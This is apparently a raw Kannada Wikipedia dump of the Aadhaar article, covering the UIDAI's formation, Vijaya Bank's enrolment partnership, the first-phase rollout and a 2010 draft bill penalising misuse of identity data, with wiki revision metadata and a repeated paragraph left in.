ಬ್ಯಾಂಕ್‌ ಸಭಾಪತಿ ಮತ್ತು ವ್ಯವಸ್ಥಾಪಕ ನಿರ್ದೇಶಕರಾದ ಆಲ್ಬರ್ಟ್‌ ಟೌರೋ ಹೇಳಿಕೆಯೊಂದರಲ್ಲಿ ಇಂದು ತಿಳಿಸಿದರು. ಒಂದು ನೋಂದಣಿ ಸಂಸ್ಥೆಯಾಗಿ ಬ್ಯಾಂಕ್‌ UID ಯೋಜನೆಯಲ್ಲಿ ನಿವಾಸಿಗಳನ್ನು ದಾಖಲಿಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ ಮತ್ತು ಯೋಜನೆಯ ಹಲವಾರು ಹಂತಗಳ ಸಂದರ್ಭದಲ್ಲಿ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ನೆರವಾಗಬಹುದಾಗಿದೆ ಎಂಬುದಾಗಿಯೂ ಈ ಸಂದರ್ಭದಲ್ಲಿ ಟೌರೋ ತಿಳಿಸಿದರು. ಗುರುತಿಸಲ್ಪಟ್ಟ ಸ್ಥಳಗಳು ಮತ್ತು ಜಿಲ್ಲೆಗಳಲ್ಲಿ UID ಯೋಜನೆಯ ಅನುಷ್ಠಾನವಾಗುವದರ ಕುರಿತು ಮೇಲ್ವಿಚಾರಣೆ ನಡೆಸಲು ಪ್ರಧಾನ ತಂಡವೊಂದನ್ನು ಬ್ಯಾಂಕ್‌ ಸ್ಥಾಪಿಸಲಿದೆ. ಇದಕ್ಕಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ನ ಇತರ ಘಟಕಗಳು, ಖಾತೆ ಹೊಂದಿರುವವರು, ತಂತ್ರಜ್ಞಾನ ಒದಗಿಸುವವರು, BC ಸೇವೆ ಒದಗಿಸುವವರು ಮತ್ತು ಇತರ ಸಹಯೋಗಿಗಳು ತಮ್ಮ ಸಹಕಾರ ಹಸ್ತವನ್ನು ನೀಡಲಿದ್ದಾರೆ. ಹೊಸ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ UID ದಾಖಲಾತಿಯೊಂದಿಗೆ ತನ್ನ ಹಣಕಾಸಿನ ಒಳಗೂಡಿಸುವಿಕೆ ಯೋಜನೆಯನ್ನು ಅಚ್ಚುಕಟ್ಟಾಗಿ ಜೋಡಿಸಲು ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಯೋಜಿಸಿದೆ. ತನ್ನ ಚಾಲ್ತಿಯಲ್ಲಿರುವ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಆಧಾರ್‌ ಸಂಖ್ಯೆಗಳ ನೀಡಿಕೆಯನ್ನೂ ಸಹ ಇದು ಸರಾಗಗೊಳಿಸಲಿದ್ದು, ಕಿರು ATMಗಳಂಥ ಹಲವಾರು ವಿತರಣಾ ವಾಹಿನಿಗಳೆಲ್ಲೆಡೆ 'ಆಧಾರ್‌' ಆಧರಿತ ಸೇವೆಗಳನ್ನು ಒದಗಿಸುವಲ್ಲಿ ಇದು ಬ್ಯಾಂಕ್‌ಗೆ ನೆರವಾಗಲಿದೆ. ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಕೇಂದ್ರಸರ್ಕಾರದ ವತಿಯಿಂದ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿರುವ ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರದೊಂದಿಗಿನ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ-UIDAI) ಒಂದು MoUಗೆ (ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕಪತ್ರಕ್ಕೆ) ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಹಿಹಾಕಿದೆ. ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕ ಪತ್ರಕ್ಕೆ (MoU) ನಿನ್ನೆ ಸಹಿಹಾಕುವುದರೊಂದಿಗೆ UIDAIನ ಪ್ರಯತ್ನಗಳಲ್ಲಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಓರ್ವ ಪಾಲುದಾರ ಎನಿಸಿಕೊಂಡಿದೆ ಎಂಬುದಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಭಾಪತಿ ಮತ್ತು ವ್ಯವಸ್ಥಾಪಕ ನಿರ್ದೇಶಕರಾದ ಆಲ್ಬರ್ಟ್‌ ಟೌರೋ ಹೇಳಿಕೆಯೊಂದರಲ್ಲಿ ಇಂದು ತಿಳಿಸಿದರು. ಒಂದು ನೋಂದಣಿ ಸಂಸ್ಥೆಯಾಗಿ ಬ್ಯಾಂಕ್‌ UID ಯೋಜನೆಯಲ್ಲಿ ನಿವಾಸಿಗಳನ್ನು ದಾಖಲಿಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ ಮತ್ತು ಯೋಜನೆಯ ಹಲವಾರು ಹಂತಗಳ ಸಂದರ್ಭದಲ್ಲಿ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ನೆರವಾಗಬಹುದಾಗಿದೆ ಎಂಬುದಾಗಿಯೂ ಈ ಸಂದರ್ಭದಲ್ಲಿ ಟೌರೋ ತಿಳಿಸಿದರು. ಗುರುತಿಸಲ್ಪಟ್ಟ ಸ್ಥಳಗಳು ಮತ್ತು ಜಿಲ್ಲೆಗಳಲ್ಲಿ UID ಯೋಜನೆಯ ಅನುಷ್ಠಾನವಾಗುವದರ ಕುರಿತು ಮೇಲ್ವಿಚಾರಣೆ ನಡೆಸಲು ಪ್ರಧಾನ ತಂಡವೊಂದನ್ನು ಬ್ಯಾಂಕ್‌ ಸ್ಥಾಪಿಸಲಿದೆ. ಇದಕ್ಕಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ನ ಇತರ ಘಟಕಗಳು, ಖಾತೆ ಹೊಂದಿರುವವರು, ತಂತ್ರಜ್ಞಾನ ಒದಗಿಸುವವರು, BC ಸೇವೆ ಒದಗಿಸುವವರು ಮತ್ತು ಇತರ ಸಹಯೋಗಿಗಳು ತಮ್ಮ ಸಹಕಾರ ಹಸ್ತವನ್ನು ನೀಡಲಿದ್ದಾರೆ. ಹೊಸ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ UID ದಾಖಲಾತಿಯೊಂದಿಗೆ ತನ್ನ ಹಣಕಾಸಿನ ಒಳಗೂಡಿಸುವಿಕೆ ಯೋಜನೆಯನ್ನು ಅಚ್ಚುಕಟ್ಟಾಗಿ ಜೋಡಿಸಲು ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಯೋಜಿಸಿದೆ. ತನ್ನ ಚಾಲ್ತಿಯಲ್ಲಿರುವ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಆಧಾರ್‌ ಸಂಖ್ಯೆಗಳ ನೀಡಿಕೆಯನ್ನೂ ಸಹ ಇದು ಸರಾಗಗೊಳಿಸಲಿದ್ದು, ಕಿರು ATMಗಳಂಥ ಹಲವಾರು ವಿತರಣಾ ವಾಹಿನಿಗಳೆಲ್ಲೆಡೆ 'ಆಧಾರ್‌' ಆಧರಿತ ಸೇವೆಗಳನ್ನು ಒದಗಿಸುವಲ್ಲಿ ಇದು ಬ್ಯಾಂಕ್‌ಗೆ ನೆರವಾಗಲಿದೆ. == ಅನುಷ್ಠಾನ == ಮೊದಲ ಹಂತದಲ್ಲಿ, ಆಂಧ್ರಪ್ರದೇಶ, ಗುಜರಾತ್‌‌, ಪಶ್ಚಿಮ ಬಂಗಾಳ, ಕೇರಳ, ಗೋವಾ, ಕರ್ನಾಟಕ, ತಮಿಳುನಾಡು, ಮಹಾರಾಷ್ಟ್ರ ಮತ್ತು ಒಡಿಶಾ ರಾಜ್ಯಗಳ ತೀರಪ್ರದೇಶದ ಹಳ್ಳಿಗಳಲ್ಲಿ ವಾಸಿಸುತ್ತಿರುವ ಜನರಿಗೆ UIDಯನ್ನು ನೀಡಲಾಗುತ್ತದೆ. ಕೇಂದ್ರಾಡಳಿತ ಪ್ರದೇಶಗಳಾದ ಪುದುಚೇರಿ, ಅಂಡಮಾನ್‌ & ನಿಕೋಬಾರ್‌ ದ್ವೀಪಗಳು, ದಾದರ್‌ ಮತ್ತು ನಗರ್‌ ಹವೇಲಿ ಮಾತ್ರವೇ ಅಲ್ಲದೇ ಲಕ್ಷದ್ವೀಪವನ್ನೂ ಸಹ ಮೊದಲ ಹಂತದ ಯೋಜನೆಯಲ್ಲಿ ಪರಿಗಣಿಸಲಾಗುವುದು. 2010ರ ಆರಂಭದ ವೇಳೆಗೆ ಮೊದಲ ಗುಂಪಿನ ಕಾರ್ಡುಗಳು ವಿತರಿಸಲ್ಪಡುತ್ತವೆ ಎಂದು ನಿರೀಕ್ಷಿಸಲಾಗಿದೆ.<ref name="business-standard.com" /> 2011ರ ಫೆಬ್ರುವರಿ ವೇಳೆಗೆ ಆಧಾರ್‌ (UID) ಸಂಖ್ಯೆಯು ಅನುಷ್ಠಾನಗೊಳ್ಳಲಿದೆ ಎಂದು ನಿರೀಕ್ಷಿಸಲಾಗಿದೆ ಮತ್ತು ಭವಿಷ್ಯದಲ್ಲಿ PAN ಕಾರ್ಡುಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ UIDಯ ಬಳಕೆಯನ್ನು ಕಡ್ಡಾಯಗೊಳಿಸುವುದರ ಕುರಿತಾಗಿಯೂ ಹಣಕಾಸು ಖಾತೆ ಅಧಿಕಾರಿಗಳು ಭರವಸೆಯನ್ನು ಹೊಂದಿದ್ದು, ಇದು ನಕಲಿ PAN ಕಾರ್ಡುಗಳ ಹಬ್ಬುವಿಕೆಯನ್ನು ನಿಗ್ರಹಿಸುವಲ್ಲಿ ನೆರವಾಗಲಿದೆ ಎಂದು ಹೇಳಲಾಗುತ್ತಿದೆ. == ಯೋಜನೆಯ ಆರಂಭ == UPA ಅಧ್ಯಕ್ಷೆ ಸೋನಿಯಾ ಗಾಂಧಿ, ಭಾರತದ ಪ್ರಧಾನ ಮಂತ್ರಿ ಮನ್‌ಮೋಹನ್‌ ಸಿಂಗ್‌, ಅಶೋಕ್ ಚವ್ಹಾಣ್, K. ಶಂಕರ್‌ನಾರಾಯಣನ್‌ ಮತ್ತು UIDAI ಮುಖ್ಯಸ್ಥ ನಂದನ್‌ ನಿಲೇಕಣಿ ಇವರುಗಳಿಂದ ಆಧಾರ್‌ ಯೋಜನೆಯು ಇತ್ತೀಚೆಗಷ್ಟೇ ಆರಂಭಿಸಲ್ಪಟ್ಟಿತು; ಮಹಾರಾಷ್ಟ್ರದ ತೆಂಬ್ಲಿ ಎಂಬ ಹಳ್ಳಿಯಲ್ಲಿ 10 ಆದಿವಾಸಿಗಳಿಗೆ ಈ ವಿಶಿಷ್ಟ IDಯನ್ನು ಒದಗಿಸುವ ಮೂಲಕ ಇದಕ್ಕೆ ಚಾಲನೆ ದೊರೆಯಿತು ಎಂಬುದು ಗಮನಾರ್ಹ ಅಂಶ. ಭಾರತದಲ್ಲಿನ ಸದರಿ ವಿಶಿಷ್ಟ ID ಯೋಜನೆಗಳ ಪ್ರಯೋಜನಗಳು ಮತ್ತು ಸಕಾರಾತ್ಮಕ ಫಲಿತಾಂಶಗಳ ಕುರಿತಾಗಿ UPA ಅಧ್ಯಕ್ಷೆ ಮತ್ತು ಭಾರತದ ಪ್ರಧಾನ ಮಂತ್ರಿಯವರು ಈ ಸಂದರ್ಭದಲ್ಲಿ ಮಾತನಾಡಿದರು. ನಾಲ್ಕು-ವರ್ಷ-ವಯಸ್ಸಿನ ಹಿತೇಶ್ ಸೋನವಾನೆ ಎಂಬಾತ ಪ್ರಧಾನ ಮಂತ್ರಿಯವರಿಂದ UID ಕಾರ್ಡನ್ನು ಸ್ವೀಕರಿಸಿದ ಅತಿಕಿರಿಯ ಸದಸ್ಯ ಎನಿಸಿಕೊಂಡರೆ, ರಂಜನಾ ಸೋನವಾನೆ ಎಂಬುವವರು ಆಧಾರ್‌ ಯೋಜನೆಯ ಮೂಲಕ UID / ವಿಶಿಷ್ಟ ID ಕಾರ್ಡನ್ನು ಪಡೆಯುವಲ್ಲಿನ ಮೊದಲ ಭಾರತೀಯಳು ಎನಿಸಿಕೊಂಡರು. ==ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ ಕಾಯಿದೆ- ೨೦೧೦== '''ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ ಕಾಯಿದೆ- ೨೦೧೦''' ಸಂಸದ್ ನಲ್ಲಿ ಸಿದ್ಧವಾಗುತ್ತಿದೆ. * ಸಂಖ್ಯೆಯ ದುರ್ಬಳಕೆ ತಡೆಗೆ ತೆಗೆದುಕೊಂಡ ವಿಶೇಷ ಕ್ರಮದ ನಿಟ್ಟಿನಲ್ಲಿ, ಒಂದು ಕರಡು ಮಸೂದೆ ಸಿದ್ಧವಾಗುತ್ತಿದೆ. ಪ್ರತಿಕ್ರಿಯೆಗಾಗಿ ಸಾರ್ವಜನಿಕರ ಅಭಿಪ್ರಾಯಕ್ಕಾಗಿ ಪ್ರಕಟಿಸಲಾಗಿದೆ. ಜತೆಗೆ ಪ್ರಾಧಿಕಾರವನ್ನು ಸಂವಿಧಾನಿಕ ಸಂಸ್ಥೆಯನ್ನಾಗಿ ಮಾನ್ಯ ಮಾಡುವುದು ಈ ಮಸೂದೆಯ ಉದ್ದೇಶವಾಗಿದೆ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯ ದುರುಪಯೋಗ, ಸಾರ್ವಜನಿಕರ ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸದೇ ಇರುವ ಸಲುವಾಗಿ ಮಸೂದೆ ಮಾಹಿತಿ ಭದ್ರತೆ ಮತ್ತು ರಹಸ್ಯವನ್ನು ಕಾಯ್ದುಕೊಳ್ಳಲಾಗುವುದು * ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ (ಯುಐಡಿಎಐ) ನೀಡುವ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ದುರುಪಯೋಗ ಮಾಡಿಕೊಳ್ಳುವವರ ವಿರುದ್ಧ ಕಠಿಣ ಕ್ರಮಕ್ಕೆ ಒಳಪಡಿಸಲು ಸಿದ್ಧತೆ ನಡೆಸಿದೆ. ದುರುಪಯೋಗ ಸಾಬೀತಾದರೆ ಒಂದು ಕೋಟಿ ರೂಪಾಯಿ ವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. ಎಂದು ಪ್ರಾಧಿಕಾರದ ಹಿರಿಯ ಅಧಿಕಾರಿಯೊಬ್ಬರು ತಿಳಿಸಿದರು. * ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯ ದುರುಪಯೋಗ, ಸಾರ್ವಜನಿಕರ ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸದೇ ಇರುವ ಸಲುವಾಗಿ ಮಸೂದೆ ಮಾಹಿತಿ ಭದ್ರತೆ ಮತ್ತು ರಹಸ್ಯವನ್ನು ಕಾಯ್ದುಕೊಳ್ಳಲಾಗುವುದು * ಪ್ರಾಧಿಕಾರದಲ್ಲಿದ್ದುಕೊಂಡು ಅಲ್ಲಿರುವ ಮಾಹಿತಿಯನ್ನು ಬಹಿರಂಗಗೊಳಿಸಿದರೆ, ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸಿದರೆ, ಅಕ್ರಮವಾಗಿ ಕಾರ್ಯ ನಿರ್ವಸಿದರೆ ಅಂತಹ ಅಪರಾಧಗಳಿಗೆ ಕಠಿಣ ಕ್ರಮ, ದಂಡ ವಿಧಿಸಲು ಉದ್ದೇಶಿತ ಕರಡು ಮಸೂದೆಯಲ್ಲಿ ಅವಕಾಶ ಇದೆ. * ಒಂದೊಮ್ಮೆ ಪ್ರಾಧಿಕಾರದ ಕೆಲಸ ವಹಿಸಿಕೊಂಡ ಕಂಪನಿಯೇ ಈ ಕೃತ್ಯ ಎಸಗಿದರೆ ಒಂದು ಲಕ್ಷದ ವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. ಮಾಹಿತಿ ಬ್ಯಾಂಕ್‌ಗೆ ಅಕ್ರಮ ಪ್ರವೇಶ ಮಾಡಲು ಯತ್ನಿಸಿದರೆ ಅಂತಹವರಿಗೆ ಮೂರು ವರ್ಷದ ವರೆಗೆ ಜೈಲು ಶಿಕ್ಷೆ ಅಥವಾ ಒಂದು ಕೋಟಿ ರೂಪಾಯಿವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. * ಆದರೆ ನಿಗದಿತ ನ್ಯಾಯಾಲಯಗಳು ಇಂತಹ ಮಾಹಿತಿ ಕೇಳಿದರೆ ಅದನ್ನು ನೀಡಬಹುದಾಗಿದೆ. ರಾಷ್ಟ್ರದ ಹಿತದೃಷ್ಟಿಯಿಂದ ಮಾತ್ರ ವೈಯಕ್ತಿಕ ವಿಷಯಗಳ ಮಾಹಿತಿಯನ್ನು ನೀಡಲಾಗುವುದು. ಅದೂ ಸಂಬಂಧಿಸಿದ ಇಲಾಖೆಯ ಸಚಿವಾಲಯದಿಂದ ಅನುಮತಿ ಪಡೆದರೆ ಮಾತ್ರವೇ ಮಾಹಿತಿ ನೀಡಲಾಗುವುದು. * ಕರಡು ಮಸೂದೆ ಬಗ್ಗೆ ಸಾರ್ವಜನಿಕರಿಂದ ಬರುವ ಅಭಿಪ್ರಾಯಗಳನ್ನು ಆಧರಿಸಿ ಸಂಸತ್‌ನ ಮುಂಗಾರು ಅಧಿವೇಶನದಲ್ಲಿ ಮಂಡಿಸಲಾಗುವುದು ಎಂದೂ ಅಧಿಕಾರಿಗಳು ತಿಳಿಸಿದ್ದಾರೆ.ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ಮೊದಲಿಗೆ ೨೦೧೦ ರ ಆಗಸ್ಟ್ ಮತ್ತು ೨೦೧೧ ರ ಫೆಬ್ರುವರಿ ನಡುವೆ ಸಾರ್ವಜನಿಕರಿಗೆ ನೀಡಲಾಗುವುದು. ಮುಂದಿನ ನಾಲ್ಕು ವರ್ಷಗಳಲ್ಲಿ ಆರು ಕೋಟಿ ಜನರಿಗೆ ಈ ಸಂಖ್ಯೆಯನ್ನು ನೀಡುವ ಉದ್ದೇಶ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ಇದೆ. == ಇವನ್ನೂ ಗಮನಿಸಿ == * ರಾಷ್ಟ್ರೀಯ ಗುರುತಿನ ಸಂಖ್ಯೆ * ಸಾಮಾಜಿಕ ಭದ್ರತೆ ಸಂಖ್ಯೆ * ಬಹು-ಉದ್ದೇಶದ ರಾಷ್ಟ್ರೀಯ ಗುರುತಿನ ಕಾರ್ಡ್ * ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ ==ವಿಶೇಷ ಮಾಹಿತಿ== *[https://www.prajavani.net/stories/national/india-on-the-way-towards-police-state-712960.html ಪೊಲೀಸ್‌ ರಾಜ್ಯದತ್ತ ಭಾರತದ ನಡೆ: 'ಆಧಾರ್'ನಿಂದ ಜನರ ಸ್ವಾತಂತ್ರ್ಯ ಮೊಟಕು;ಕುಮಾರ ಸಂಭವ ಶ್ರೀವಾಸ್ತವ Updated: 18 ಮಾರ್ಚ್ 2020,] == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * http://uidai.gov.in/ * [http://uidnumber.org UIDಯನ್ನು ಪ್ರವರ್ತಿಸುವುದಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ UIDnumber.org] * [http://news.bbc.co.uk/2/hi/south_asia/8119070.stm ಇಂಡಿಯಾ ಟು ಲಾಂಚ್‌ 'ID ಕಾರ್ಡ್‌' ಸ್ಕೀಮ್‌] * [http://in.news.yahoo.com/48/20090626/804/tnl-govt-downloads-infosys-nilekani-he-s.html ಗೌರ್ನ್‌ಮೆಂಟ್‌ ಡೌನ್‌ಲೋಡ್ಸ್‌ ಇನ್ಫೋಸಿಸ್‌ ನಿಲೇಕಣಿ, ಹೀ ಸೇಸ್‌ ಫಸ್ಟ್‌ ಯುನಿಕ್‌ ID ಕಾರ್ಡ್‌ ವಿತಿನ್‌ 2 ಇಯರ್ಸ್‌] * [http://www.business-standard.com/india/news/what-nilekani-will-logto-inid-project/362160/ ವಾಟ್‌ ನಿಲೇಕಣಿ ವಿಲ್‌ ಲಾಗ್‌ ಆನ್‌ ಟು ಇನ್‌ ದಿ ID ಪ್ರಾಜೆಕ್ಟ್‌] * [http://prsindia.org/index.php?name=Sections&amp;action=bill_details&amp;id=6&amp;bill_id=1196&amp;category=46&amp;parent_category=1 ಕರಡು UIDAI ಮಸೂದೆ] * [http://www.uins.de www.uins.de] ==ಉಲ್ಲೇಖಗಳು== {{Reflist}} [[ವರ್ಗ:ಭಾರತ ಸರ್ಕಾರ]] 3gsphscmye8d03a3v37dvx96isw7rvq 1116528 1116526 2022-08-23T16:11:15Z ChiK 40016 wikitext text/x-wiki {{Infobox project | logo = [[ಚಿತ್ರ:ಆಧಾರ್ ಲಾಂಛನ.svg|250px]] | image = | caption = "ನನ್ನ ಆಧಾರ್, ನನ್ನ ಗುರುತು"<ref name=AboutUIDAI/> | launched = {{Start date and age|df=yes|2009|01|28}}<ref name=AboutUIDAI/> | country = [[ಭಾರತ]] | budget = {{INRConvert|11366|c}} (up to the month of August 2019)<ref name="UIDAIFinance">{{cite web|url=https://uidai.gov.in/about-uidai/about-uidai/financials.html|title=UIDAI Finance and Budge Section|website=UIDAI|access-date=29 May 2018}}</ref> | key_people = *[[Nandan Nilekani]], Co-founder of [[Infosys]], first Chairman, UIDAI *[[J. Satyanarayana]], [[Indian Administrative Service|IAS]], Chairman, UIDAI *Saurabh Garg, [[Indian Administrative Service|IAS]], CEO, UIDAI | ministry = [[ವಿದ್ಯುನ್ಮಾನ ಮತ್ತು ಮಾಹಿತಿ ತಂತ್ರಜ್ಞಾನ ಸಚಿವಾಲಯ]], [[ಭಾರತ]] | website = {{URL|https://uidai.gov.in}} | current_status = {{increase}} 1.31 billion holders as of October 2021<ref name="Dashboard">{{cite web|title=Aadhaar Dashboard|url=https://uidai.gov.in/aadhaar_dashboard/index.php|publisher=UIDAI|access-date=7 September 2021}}</ref> }} '''ಆಧಾರ್''' ಎಂಬುದು ೧೨ ಅಂಕೆಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯಾಗಿದ್ದು [[ಭಾರತ ಸರ್ಕಾರ]]ದ ವತಿಯಿಂದ ಇತ್ತೀಚೆಗಷ್ಟೇ ಅಂತಿಮಗೊಳಿಸಲ್ಪಟ್ಟ ಒಂದು ಉಪಕ್ರಮವಾಗಿದ್ದು, [[ಭಾರತ]]ದ ಎಲ್ಲಾ ವಯಸ್ಕ ನಾಗರಿಕರು ಮತ್ತು ನಿವಾಸಿಗಳಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಒಂದು ಕೇಂದ್ರೀಕೃತ ಗುರುತಿಸುವಿಕೆಯ ವ್ಯವಸ್ಥೆಯನ್ನು ಸೃಷ್ಟಿಸುವ ಮತ್ತು ನಿರ್ವಹಿಸುವ ಉದ್ದೇಶ ಇದರ ಹಿಂದಿದೆ; ಇದನ್ನು ಒಂದು ವೈವಿಧ್ಯಮಯವಾದ ಗುರುತಿಸುವಿಕೆಯ ಉದ್ದೇಶಗಳಿಗಾಗಿ ಬಳಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ. [[ಇನ್ಫೋಸಿಸ್|ಇನ್ಫೋಸಿಸ್‌‌]]ನ ಹಿಂದಿನ ಸಹ-ಸಭಾಪತಿಯಾದ ನಂದನ್ ನಿಲೇಕಣಿಯವರನ್ನು ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿಸುವಿಕೆಯ ಪ್ರಾಧಿಕಾರದ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ) ಮುಖ್ಯಸ್ಥರನ್ನಾಗಿ ನೇಮಿಸಲಾಗಿದ್ದು, ಅವರು ಓರ್ವ ಮಂತ್ರಿಯ ದರ್ಜೆಯನ್ನು ಹೊಂದಲಿದ್ದಾರೆ.<ref name="deccanherald.com">10.2</ref> ಇನ್ಫೋಸಿಸ್‌ ಟೆಕ್ನಾಲಜೀಸ್‌ನ ನಿರ್ದೇಶಕ ಮಂಡಳಿಯಿಂದ ಕೆಳಗಿಳಿಯಲು ಅವರು ನಿರ್ಧರಿಸಿದ್ದಾರೆ.<ref name="business-standard.com">[http://www.business-standard.com/india/news/what-nilekani-will-logto-inid-project/362160/ ]</ref> ಈ ಪ್ರಾಧಿಕಾರವನ್ನು ಯೋಜನಾ ಆಯೋಗದ ಆಶ್ರಯ ಅಡಿಯಲ್ಲಿನ ಒಂದು ಸೇರಿಸಿದ ಕಚೇರಿಯನ್ನಾಗಿ ಘೋಷಿಸಲಾಗಿದೆ. ಹಿಂದಿ ಭಾಷೆಯಲ್ಲಿ ಬೆಂಬಲ ಎಂಬ ಅರ್ಥವನ್ನು ನೀಡುವ ಮತ್ತು 'ಆಧಾರ್‌' ಎಂಬುದಾಗಿ ಕರೆಯಲ್ಪಟ್ಟಿರುವ ಯೋಜನೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಒಂದು ಹೊಸ ಹೆಸರು ಮತ್ತು ಲಾಂಛನವನ್ನು ಅವರು ಪ್ರಕಟಿಸಿದ್ದಾರೆ.<ref name=AboutUIDAI>{{cite web|title=About UIDAI|url=https://uidai.gov.in/about-uidai/about-uidai.html|publisher=UIDAI|access-date=25 July 2017}}</ref> ಭಾರತೀಯ ವಿಶಿಷ್ಟವಾದ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ ಅಥವಾ UIDAI, ಭಾರತೀಯ ನಿವಾಸಿಗಳಿಗೆಲ್ಲಾ ೧೨ ಅಂಕಗಳ ಸಂಖ್ಯೆಯುಳ್ಳ 'ಗುರುತಿನ-ಪತ್ರ' ನೀಡುವ ಮಹದಾಂಕ್ಷೆಯ ಯೋಜನೆ ’ಆಧಾರ್, ಏಪ್ರಿಲ್ ೨೬, ೨೦೧೦ ರಂದು, ಪುನರ್ನಿರ್ಮಾಣವಾಗಿದೆ. ಯೋಜನೆಯ ಅನುಷ್ಠಾನಕ್ಕೆ ಅನುಕೂಲವಾಗುವಂತೆ ೨೦೧೧ ನೇ ಇಸವಿಯ ಜನಗಣತಿಯ ವೇಳೆಯಲ್ಲಿ 'ಪ್ರತಿಯೊಬ್ಬ ಭಾರತೀಯನ ಎಲ್ಲಾ ಹತ್ತು ಬೆರಳುಗಳ ಬೆರಳಚ್ಚುಗಳನ್ನು ಪಡೆಯಲಾಗುತ್ತದೆ', ಹಾಗೂ 'ಕಣ್ಣಿನ ಸ್ಕ್ಯಾನಿಂಗ್' ಮಾಡಲಾಗುತ್ತದೆ. 'ಪ್ರತಿಯೊಬ್ಬರನ್ನೂ ಹದಿನಾರು ಅಂಕೆಗಳ ಒಂದು ಸಂಖ್ಯೆ ಮೂಲಕ ಗುರುತಿಸಲಾಗುವಂತೆ ವ್ಯವಸ್ಥೆ ಮಾಡಲಾಗಿದೆ'. ಮುಂದಿನ ನಾಲ್ಕೈದು ವರ್ಷಗಳಲ್ಲಿ ಕನಿಷ್ಟಪಕ್ಷ ಭಾರತದ ೬೦ ಕೋಟಿ ಜನತೆ, ಮೇಲೆತಿಳಿಸಿರುವ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ಧಾಖಲಿಸಿರುವ ಗುರುತು ಚೀಟಿಯನ್ನು ಪಡೆಯಲಿದ್ದಾರೆ. ಎಲ್ಲಾ ಪ್ರಮುಖ ದಾಖಲಾತಿಗಳಲ್ಲೂ ಅದು ಮುಖ್ಯಸ್ಥಾನ ಪಡೆದುಕೊಳ್ಳಲಿದೆ. [[File:Aadhaar Seva Kendra, Bhopal.jpg|thumb|350px|]] == ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ == ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ (UIDAI) ಒಂದು ಶಾಸನಬದ್ಧ ಪ್ರಾಧಿಕಾರ ಮತ್ತು ಸರ್ಕಾರಿ ಇಲಾಖೆಯಾಗಿದ್ದು, ಆಧಾರ್ ಕಾಯಿದೆ 2016 ರ ನಿಬಂಧನೆಗಳನ್ನು ಅನುಸರಿಸಿ ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್ ಮತ್ತು ಮಾಹಿತಿ ತಂತ್ರಜ್ಞಾನ ಸಚಿವಾಲಯದ 